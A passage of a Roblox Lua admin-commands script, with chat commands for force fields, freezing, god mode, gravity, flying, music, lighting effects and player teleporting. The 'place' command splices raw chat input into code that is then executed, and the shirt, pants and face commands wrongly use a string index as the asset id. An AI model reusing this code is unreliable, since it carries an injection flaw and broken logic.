  967.  
  968. if msg:lower():sub(1,11) == "unsparkles " then
  969. local plrz = GetPlr(plr, msg:lower():sub(12))
  970. for i, v in pairs(plrz) do
  971. coroutine.resume(coroutine.create(function()
  972. if v and v.Character and v.Character:findFirstChild("Torso") then
  973. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  974. end
  975. end))
  976. end
  977. end
  978.  
  979. if msg:lower():sub(1,3) == "ff " then
  980. local plrz = GetPlr(plr, msg:lower():sub(4))
  981. for i, v in pairs(plrz) do
  982. coroutine.resume(coroutine.create(function()
  983. if v and v.Character then Instance.new("ForceField", v.Character) end
  984. end))
  985. end
  986. end
  987.  
  988. if msg:lower():sub(1,5) == "unff " then
  989. local plrz = GetPlr(plr, msg:lower():sub(6))
  990. for i, v in pairs(plrz) do
  991. coroutine.resume(coroutine.create(function()
  992. if v and v.Character then
  993. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  994. end
  995. end))
  996. end
  997. end
  998.  
  999. if msg:lower():sub(1,7) == "punish " then
  1000. local plrz = GetPlr(plr, msg:lower():sub(8))
  1001. for i, v in pairs(plrz) do
  1002. coroutine.resume(coroutine.create(function()
  1003. if v and v.Character then
  1004. v.Character.Parent = game:service("Lighting")
  1005. end
  1006. end))
  1007. end
  1008. end
  1009.  
  1010. if msg:lower():sub(1,9) == "unpunish " then
  1011. local plrz = GetPlr(plr, msg:lower():sub(10))
  1012. for i, v in pairs(plrz) do
  1013. coroutine.resume(coroutine.create(function()
  1014. if v and v.Character then
  1015. v.Character.Parent = game:service("Workspace")
  1016. v.Character:MakeJoints()
  1017. end
  1018. end))
  1019. end
  1020. end
  1021.  
  1022. if msg:lower():sub(1,7) == "freeze " then
  1023. local plrz = GetPlr(plr, msg:lower():sub(8))
  1024. for i, v in pairs(plrz) do
  1025. coroutine.resume(coroutine.create(function()
  1026. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1027. for a, obj in pairs(v.Character:children()) do
  1028. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1029. end
  1030. end
  1031. end))
  1032. end
  1033. end
  1034.  
  1035. if msg:lower():sub(1,5) == "thaw " then
  1036. local plrz = GetPlr(plr, msg:lower():sub(6))
  1037. for i, v in pairs(plrz) do
  1038. coroutine.resume(coroutine.create(function()
  1039. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1040. for a, obj in pairs(v.Character:children()) do
  1041. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1042. end
  1043. end
  1044. end))
  1045. end
  1046. end
  1047.  
  1048. if msg:lower():sub(1,5) == "heal " then
  1049. local plrz = GetPlr(plr, msg:lower():sub(6))
  1050. for i, v in pairs(plrz) do
  1051. coroutine.resume(coroutine.create(function()
  1052. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1053. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1054. end
  1055. end))
  1056. end
  1057. end
  1058.  
  1059. if msg:lower():sub(1,4) == "god " then
  1060. local plrz = GetPlr(plr, msg:lower():sub(5))
  1061. for i, v in pairs(plrz) do
  1062. coroutine.resume(coroutine.create(function()
  1063. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1064. v.Character.Humanoid.MaxHealth = math.huge
  1065. v.Character.Humanoid.Health = 9e9
  1066. end
  1067. end))
  1068. end
  1069. end
  1070.  
  1071. if msg:lower():sub(1,6) == "ungod " then
  1072. local plrz = GetPlr(plr, msg:lower():sub(7))
  1073. for i, v in pairs(plrz) do
  1074. coroutine.resume(coroutine.create(function()
  1075. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1076. v.Character.Humanoid.MaxHealth = 100
  1077. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1078. end
  1079. end))
  1080. end
  1081. end
  1082.  
  1083. if msg:lower():sub(1,8) == "ambient " then
  1084. local chk1 = msg:lower():sub(9):find(" ") + 8
  1085. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1086. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1087. end
  1088.  
  1089. if msg:lower():sub(1,11) == "brightness " then
  1090. game.Lighting.Brightness = msg:sub(12)
  1091. end
  1092.  
  1093. if msg:lower():sub(1,5) == "time " then
  1094. game.Lighting.TimeOfDay = msg:sub(6)
  1095. end
  1096.  
  1097. if msg:lower():sub(1,9) == "fogcolor " then
  1098. local chk1 = msg:lower():sub(10):find(" ") + 9
  1099. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1100. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1101. end
  1102.  
  1103. if msg:lower():sub(1,7) == "fogend " then
  1104. game.Lighting.FogEnd = msg:sub(8)
  1105. end
  1106.  
  1107. if msg:lower():sub(1,9) == "fogstart " then
  1108. game.Lighting.FogStart = msg:sub(10)
  1109. end
  1110.  
  1111. if msg:lower():sub(1,7) == "btools " then
  1112. local plrz = GetPlr(plr, msg:lower():sub(8))
  1113. for i, v in pairs(plrz) do
  1114. coroutine.resume(coroutine.create(function()
  1115. if v and v:findFirstChild("Backpack") then
  1116. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1117. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1118. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1119. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1120. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1121. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1122. local sb
  1123. local hs
  1124. local pdist
  1125.  
  1126. script.Parent.Selected:connect(function(mouse)
  1127. if not mouse then return end
  1128. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1129. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1130. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1131. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1132. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1133. end)
  1134.  
  1135. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1136. end
  1137. end))
  1138. end
  1139. end
  1140.  
  1141. if msg:lower():sub(1,5) == "give " then
  1142. local chk1 = msg:lower():sub(6):find(" ") + 5
  1143. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1144. for i, v in pairs(plrz) do
  1145. coroutine.resume(coroutine.create(function()
  1146. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1147. for a, tool in pairs(game.Lighting:children()) do
  1148. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1149. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1150. end
  1151. end
  1152. end
  1153. end))
  1154. end
  1155. end
  1156.  
  1157. if msg:lower():sub(1,12) == "removetools " then
  1158. local plrz = GetPlr(plr, msg:lower():sub(13))
  1159. for i, v in pairs(plrz) do
  1160. coroutine.resume(coroutine.create(function()
  1161. if v and v.Character and v:findFirstChild("Backpack") then
  1162. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1163. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1164. end
  1165. end))
  1166. end
  1167. end
  1168.  
  1169. if msg:lower():sub(1,5) == "rank " then
  1170. local chk1 = msg:lower():sub(6):find(" ") + 5
  1171. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1172. for i, v in pairs(plrz) do
  1173. coroutine.resume(coroutine.create(function()
  1174. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1175. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1176. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1177. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1178. end
  1179. end))
  1180. end
  1181. end
  1182.  
  1183. if msg:lower():sub(1,7) == "damage " then
  1184. local chk1 = msg:lower():sub(8):find(" ") + 7
  1185. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1186. for i, v in pairs(plrz) do
  1187. coroutine.resume(coroutine.create(function()
  1188. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1189. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1190. end
  1191. end))
  1192. end
  1193. end
  1194.  
  1195. if msg:lower():sub(1,5) == "grav " then
  1196. local plrz = GetPlr(plr, msg:lower():sub(6))
  1197. for i, v in pairs(plrz) do
  1198. coroutine.resume(coroutine.create(function()
  1199. if v and v.Character and v.Character:findFirstChild("Torso") then
  1200. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1201. end
  1202. end))
  1203. end
  1204. end
  1205.  
  1206. if msg:lower():sub(1,8) == "setgrav " then
  1207. local chk1 = msg:lower():sub(9):find(" ") + 8
  1208. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1209. for i, v in pairs(plrz) do
  1210. coroutine.resume(coroutine.create(function()
  1211. if v and v.Character and v.Character:findFirstChild("Torso") then
  1212. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1213. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1214. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1215. end
  1216. end))
  1217. end
  1218. end
  1219.  
  1220. if msg:lower():sub(1,7) == "nograv " then
  1221. local plrz = GetPlr(plr, msg:lower():sub(8))
  1222. for i, v in pairs(plrz) do
  1223. coroutine.resume(coroutine.create(function()
  1224. if v and v.Character and v.Character:findFirstChild("Torso") then
  1225. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1226. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1227. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1228. end
  1229. end))
  1230. end
  1231. end
  1232.  
  1233. if msg:lower():sub(1,7) == "health " then
  1234. local chk1 = msg:lower():sub(8):find(" ") + 7
  1235. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1236. for i, v in pairs(plrz) do
  1237. coroutine.resume(coroutine.create(function()
  1238. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1239. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1240. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1241. end
  1242. end))
  1243. end
  1244. end
  1245.  
  1246. if msg:lower():sub(1,6) == "speed " then
  1247. local chk1 = msg:lower():sub(7):find(" ") + 6
  1248. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1249. for i, v in pairs(plrz) do
  1250. coroutine.resume(coroutine.create(function()
  1251. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1252. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1253. end
  1254. end))
  1255. end
  1256. end
  1257.  
  1258. if msg:lower():sub(1,5) == "team " then
  1259. local chk1 = msg:lower():sub(6):find(" ") + 5
  1260. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1261. for i, v in pairs(plrz) do
  1262. coroutine.resume(coroutine.create(function()
  1263. if v and game:findFirstChild("Teams") then
  1264. for a, tm in pairs(game.Teams:children()) do
  1265. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1266. end
  1267. end
  1268. end))
  1269. end
  1270. end
  1271.  
  1272. if msg:lower():sub(1,6) == "place " then
  1273. local chk1 = msg:lower():sub(7):find(" ") + 6
  1274. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1275. for i, v in pairs(plrz) do
  1276. coroutine.resume(coroutine.create(function()
  1277. if v and v:findFirstChild("PlayerGui") then
  1278. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1279. end
  1280. end))
  1281. end
  1282. end
  1283.  
  1284. if msg:lower():sub(1,3) == "tp " then
  1285. local chk1 = msg:lower():sub(4):find(" ") + 3
  1286. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1287. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1288. for i, v in pairs(plrz) do
  1289. coroutine.resume(coroutine.create(function()
  1290. for i2, v2 in pairs(plrz2) do
  1291. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1292. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1293. end
  1294. end
  1295. end))
  1296. end
  1297. end
  1298.  
  1299. if msg:lower():sub(1,7) == "change " then
  1300. local chk1 = msg:lower():sub(8):find(" ") + 7
  1301. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1302. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1303. for i, v in pairs(plrz) do
  1304. coroutine.resume(coroutine.create(function()
  1305. if v and v:findFirstChild("leaderstats") then
  1306. for a, st in pairs(v.leaderstats:children()) do
  1307. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1308. end
  1309. end
  1310. end))
  1311. end
  1312. end
  1313.  
  1314. if msg:lower():sub(1,6) == "shirt " then
  1315. local chk1 = msg:lower():sub(7):find(" ") + 6
  1316. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1317. for i, v in pairs(plrz) do
  1318. coroutine.resume(coroutine.create(function()
  1319. if v and v.Character then
  1320. for i,v in pairs(v.Character:children()) do
  1321. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1322. end
  1323. end
  1324. end))
  1325. end
  1326. end
  1327.  
  1328. if msg:lower():sub(1,6) == "pants " then
  1329. local chk1 = msg:lower():sub(7):find(" ") + 6
  1330. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1331. for i, v in pairs(plrz) do
  1332. coroutine.resume(coroutine.create(function()
  1333. if v and v.Character then
  1334. for i,v in pairs(v.Character:children()) do
  1335. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1336. end
  1337. end
  1338. end))
  1339. end
  1340. end
  1341.  
  1342. if msg:lower():sub(1,5) == "face " then
  1343. local chk1 = msg:lower():sub(6):find(" ") + 5
  1344. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1345. for i, v in pairs(plrz) do
  1346. coroutine.resume(coroutine.create(function()
  1347. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1348. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1349. end
  1350. end))
  1351. end
  1352. end
  1353.  
  1354. ------------------
  1355. -- Fun Commands --
  1356. ------------------
  1357. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1358.  
  1359. if msg:lower():sub(1,8) == "swagify " then
  1360. local plrz = GetPlr(plr, msg:lower():sub(9))
  1361. for i, v in pairs(plrz) do
  1362. coroutine.resume(coroutine.create(function()
  1363. if v and v.Character then
  1364. for i,v in pairs(v.Character:children()) do
  1365. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1366. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1367. end
  1368. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1369. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1370. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1371. local torso = plr.Character.Torso
  1372. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1373. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1374. p.Size = Vector3.new(.2,.2,.2)
  1375. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1376. local motor1 = Instance.new("Motor", p)
  1377. motor1.Part0 = p
  1378. motor1.Part1 = torso
  1379. motor1.MaxVelocity = .01
  1380. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1381. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1382. local wave = false
  1383. repeat wait(1/44)
  1384. local ang = 0.1
  1385. local oldmag = torso.Velocity.magnitude
  1386. local mv = .002
  1387. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1388. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1389. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1390. motor1.DesiredAngle = -ang
  1391. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1392. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1393. if torso.Velocity.magnitude < .1 then wait(.1) end
  1394. until not p or p.Parent ~= torso.Parent
  1395. script:Destroy()
  1396. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1397. end
  1398. end))
  1399. end
  1400. end
  1401.  
  1402. if msg:lower():sub(1,6) == "music " then
  1403. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1404. local id = msg:sub(7)
  1405. local pitch = 1
  1406. if tostring(id):lower():find("caramell") then id = 2303479 end
  1407. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1408. if tostring(id):find("rick") then id = 2027611 end
  1409. if tostring(id):find("halo") then id = 1034065 end
  1410. if tostring(id):find("pokemon") then id = 1372261 end
  1411. if tostring(id):find("cursed") then id = 1372257 end
  1412. if tostring(id):find("extreme") then id = 11420933 end
  1413. if tostring(id):find("awaken") then id = 27697277 end
  1414. if tostring(id):find("alone") then id = 27697392 end
  1415. if tostring(id):find("mario") then id = 1280470 end
  1416. if tostring(id):find("choir") then id = 1372258 end
  1417. if tostring(id):find("chrono") then id = 1280463 end
  1418. if tostring(id):find("dotr") then id = 11420922 end
  1419. if tostring(id):find("entertain") then id = 27697267 end
  1420. if tostring(id):find("fantasy") then id = 1280473 end
  1421. if tostring(id):find("final") then id = 1280414 end
  1422. if tostring(id):find("emblem") then id = 1372259 end
  1423. if tostring(id):find("flight") then id = 27697719 end
  1424. if tostring(id):find("banjo") then id = 27697298 end
  1425. if tostring(id):find("gothic") then id = 27697743 end
  1426. if tostring(id):find("hiphop") then id = 27697735 end
  1427. if tostring(id):find("intro") then id = 27697707 end
  1428. if tostring(id):find("mule") then id = 1077604 end
  1429. if tostring(id):find("film") then id = 27697713 end
  1430. if tostring(id):find("nezz") then id = 8610025 end
  1431. if tostring(id):find("angel") then id = 1372260 end
  1432. if tostring(id):find("resist") then id = 27697234 end
  1433. if tostring(id):find("schala") then id = 5985787 end
  1434. if tostring(id):find("organ") then id = 11231513 end
  1435. if tostring(id):find("tunnel") then id = 9650822 end
  1436. if tostring(id):find("spanish") then id = 5982975 end
  1437. if tostring(id):find("venom") then id = 1372262 end
  1438. if tostring(id):find("wind") then id = 1015394 end
  1439. if tostring(id):find("guitar") then id = 5986151 end
  1440. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1441. end
  1442.  
  1443. if msg:lower() == "stopmusic" then
  1444. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1445. end
  1446.  
  1447. if msg:lower() == "musiclist" then
  1448. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1449. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1450. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1451. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1452. end
  1453.  
  1454. if msg:lower():sub(1,4) == "fly " then
  1455. local plrz = GetPlr(plr, msg:lower():sub(5))
  1456. for i, v in pairs(plrz) do
  1457. coroutine.resume(coroutine.create(function()
  1458. if v and v:findFirstChild("PlayerGui") then
  1459. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1460. cl.Parent = v.PlayerGui cl.Disabled = false
  1461. end
  1462. end))
  1463. end
  1464. end
  1465.  
  1466. if msg:lower():sub(1,6) == "unfly " then
  1467. local plrz = GetPlr(plr, msg:lower():sub(7))
  1468. for i, v in pairs(plrz) do
  1469. coroutine.resume(coroutine.create(function()
  1470. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1471. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1472. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1473. wait(.1) v.Character.Humanoid.PlatformStand = false
  1474. end
  1475. end))
  1476. end
  1477. end
  1478.  
  1479. if msg:lower() == "disco" then
  1480. for i, v in pairs(lobjs) do v:Destroy() end
  1481. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1482. game.Lighting.Ambient = color
  1483. game.Lighting.FogColor = color
  1484. until nil]]
  1485. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1486. end
  1487.  
  1488. if msg:lower() == "flash" then
  1489. for i, v in pairs(lobjs) do v:Destroy() end
  1490. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1491. game.Lighting.Ambient = Color3.new(1,1,1)
  1492. game.Lighting.FogColor = Color3.new(1,1,1)
  1493. game.Lighting.Brightness = 1
  1494. game.Lighting.TimeOfDay = 14
  1495. wait(.1)
  1496. game.Lighting.Ambient = Color3.new(0,0,0)
  1497. game.Lighting.FogColor = Color3.new(0,0,0)
  1498. game.Lighting.Brightness = 0
  1499. game.Lighting.TimeOfDay = 0
  1500. until nil]]
  1501. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1502. end
  1503.  
  1504. if msg:lower():sub(1,5) == "spin " then
  1505. local plrz = GetPlr(plr, msg:lower():sub(6))
  1506. for i, v in pairs(plrz) do
  1507. coroutine.resume(coroutine.create(function()
  1508. if v and v.Character and v.Character:findFirstChild("Torso") then
  1509. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1510. local torso = v.Character:findFirstChild("Torso")
  1511. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1512. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1513. until not bg or bg.Parent ~= torso
  1514. end
  1515. end))
  1516. end
  1517. end
  1518.  
  1519. if msg:lower():sub(1,7) == "unspin " then
  1520. local plrz = GetPlr(plr, msg:lower():sub(8))
  1521. for i, v in pairs(plrz) do
  1522. coroutine.resume(coroutine.create(function()
  1523. if v and v.Character and v.Character:findFirstChild("Torso") then
  1524. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1525. end
  1526. end))
  1527. end
  1528. end
  1529.  
  1530. if msg:lower():sub(1,4) == "dog " then
  1531. local plrz = GetPlr(plr, msg:lower():sub(5))
  1532. for i, v in pairs(plrz) do
  1533. coroutine.resume(coroutine.create(function()
  1534. if v and v.Character and v.Character:findFirstChild("Torso") then
  1535. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1536. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1537. v.Character.Torso.Transparency = 1
  1538. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
